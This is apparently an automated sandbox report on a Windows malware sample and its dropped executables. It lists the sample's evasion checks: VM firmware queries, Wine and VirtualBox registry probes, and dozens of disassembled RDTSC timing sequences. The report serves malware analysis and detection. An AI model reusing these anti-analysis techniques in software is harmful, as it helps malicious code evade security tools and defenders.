Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 518D66 second address: 518D77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAA08D7CA2Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 518D77 second address: 518D7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 518D7C second address: 518D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08D7CA2Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007FAA08D7CA26h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 518D9E second address: 518DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FAA08929788h 0x0000000a push esi 0x0000000b jc 00007FAA08929776h 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 520FC9 second address: 520FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 520FCD second address: 520FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 520FD3 second address: 520FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA08D7CA2Bh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FAA08D7CA2Eh 0x00000014 push esi 0x00000015 jng 00007FAA08D7CA26h 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 52115A second address: 52115E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5213D9 second address: 521413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FAA08D7CA26h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FAA08D7CA34h 0x00000010 popad 0x00000011 jp 00007FAA08D7CA28h 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jo 00007FAA08D7CA50h 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop edx 0x00000025 jc 00007FAA08D7CA26h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 521413 second address: 52142B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAA08929776h 0x00000008 jng 00007FAA08929776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FAA08929776h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5216D8 second address: 5216E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAA08D7CA26h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 52187A second address: 52187E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 523E10 second address: 523EA1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA08D7CA3Ch 0x00000008 jmp 00007FAA08D7CA36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 cmc 0x00000013 jmp 00007FAA08D7CA35h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FAA08D7CA28h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jmp 00007FAA08D7CA39h 0x00000039 call 00007FAA08D7CA29h 0x0000003e push edi 0x0000003f push ebx 0x00000040 pushad 0x00000041 popad 0x00000042 pop ebx 0x00000043 pop edi 0x00000044 push eax 0x00000045 pushad 0x00000046 push ebx 0x00000047 pushad 0x00000048 popad 0x00000049 pop ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c js 00007FAA08D7CA26h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 523EA1 second address: 523EC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA08929789h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 523EC8 second address: 523F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f jmp 00007FAA08D7CA33h 0x00000014 jmp 00007FAA08D7CA38h 0x00000019 popad 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push esi 0x00000020 push edi 0x00000021 jnc 00007FAA08D7CA26h 0x00000027 pop edi 0x00000028 pop esi 0x00000029 pop eax 0x0000002a mov ecx, dword ptr [ebp+122D3A0Ah] 0x00000030 push 00000003h 0x00000032 jl 00007FAA08D7CA26h 0x00000038 push 00000000h 0x0000003a mov edx, 5901BE1Ch 0x0000003f push 00000003h 0x00000041 mov si, DF9Fh 0x00000045 push F13DEE16h 0x0000004a jmp 00007FAA08D7CA38h 0x0000004f xor dword ptr [esp], 313DEE16h 0x00000056 mov cl, 80h 0x00000058 lea ebx, dword ptr [ebp+1244FCEBh] 0x0000005e cld 0x0000005f xchg eax, ebx 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 523FBC second address: 524010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx esi, ax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FAA08929778h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jmp 00007FAA08929782h 0x0000002d push C942D780h 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jbe 00007FAA08929776h 0x0000003b push esi 0x0000003c pop esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5361FB second address: 536210 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA08D7CA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FAA08D7CA26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 544E4E second address: 544E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08929785h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 544E6C second address: 544E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAA08D7CA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5065FA second address: 50660D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542D8A second address: 542D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAA08D7CA26h 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542D9E second address: 542DAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007FAA08929776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542DAA second address: 542DC4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAA08D7CA32h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542EF4 second address: 542EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542EF8 second address: 542F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAA08D7CA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 542F08 second address: 542F19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FAA08929776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 543088 second address: 543090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 54366B second address: 543670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 54380D second address: 543815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 543815 second address: 543819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 543819 second address: 54381D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 544A38 second address: 544A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5121A5 second address: 5121AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 54B124 second address: 54B178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FAA0892977Bh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 jmp 00007FAA08929781h 0x00000017 push edi 0x00000018 jmp 00007FAA08929786h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007FAA0892977Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5498CA second address: 5498D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 549FEA second address: 54A005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 54FFB1 second address: 54FFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08D7CA2Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 50B603 second address: 50B624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pushad 0x00000015 je 00007FAA08929776h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 54F5BC second address: 54F5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 550F6A second address: 550FB6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA0892977Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 4CC05748h 0x00000011 jmp 00007FAA08929783h 0x00000016 call 00007FAA08929779h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAA08929787h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 550FB6 second address: 550FC0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAA08D7CA2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5513D9 second address: 5513DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5514BE second address: 5514C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5514C2 second address: 5514C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5514C8 second address: 5514CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5514CD second address: 5514E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAA08929776h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 551A54 second address: 551A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 551A58 second address: 551A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 551AE2 second address: 551B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], ebx 0x00000008 jbe 00007FAA08D7CA2Ch 0x0000000e mov esi, dword ptr [ebp+122D39EEh] 0x00000014 nop 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a jl 00007FAA08D7CA2Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55203C second address: 552056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA08929786h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 552FAE second address: 552FB8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA08D7CA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 552FB8 second address: 552FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 554C16 second address: 554C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 554C1A second address: 554C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edi, di 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FAA08929778h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D5839h], eax 0x0000002e mov di, FC6Ah 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+124793F3h], eax 0x0000003a push edx 0x0000003b pop edi 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FAA08929783h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 554C6E second address: 554C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FAA08D7CA26h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 554C83 second address: 554C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 554C87 second address: 554C8D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 556146 second address: 55615C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAA08929778h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007FAA08929780h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 556B70 second address: 556B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FAA08D7CA26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 51C393 second address: 51C3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAA08929776h 0x0000000a jg 00007FAA08929776h 0x00000010 popad 0x00000011 jng 00007FAA08929780h 0x00000017 jmp 00007FAA0892977Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55BCC5 second address: 55BD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 clc 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FAA08D7CA28h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push 00000000h 0x00000027 jp 00007FAA08D7CA26h 0x0000002d xchg eax, esi 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55CD2B second address: 55CD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov bl, C9h 0x0000000a push 00000000h 0x0000000c or edi, dword ptr [ebp+122D3AA6h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FAA08929778h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e pushad 0x0000002f movzx eax, cx 0x00000032 mov dword ptr [ebp+122D1D66h], eax 0x00000038 popad 0x00000039 xchg eax, esi 0x0000003a push ebx 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55DCB6 second address: 55DCBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55FEAF second address: 55FEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55EF22 second address: 55EF2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55FEB3 second address: 55FEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FAA08929776h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55EF2B second address: 55EF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55FEC1 second address: 55FF50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FAA08929778h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D1AB7h], ebx 0x0000002a push 00000000h 0x0000002c xor dword ptr [ebp+1244A1C0h], eax 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FAA08929778h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D33EAh], edi 0x00000054 mov edi, dword ptr [ebp+12473760h] 0x0000005a mov ebx, 27268C8Ah 0x0000005f xchg eax, esi 0x00000060 pushad 0x00000061 jmp 00007FAA08929788h 0x00000066 jo 00007FAA0892977Ch 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
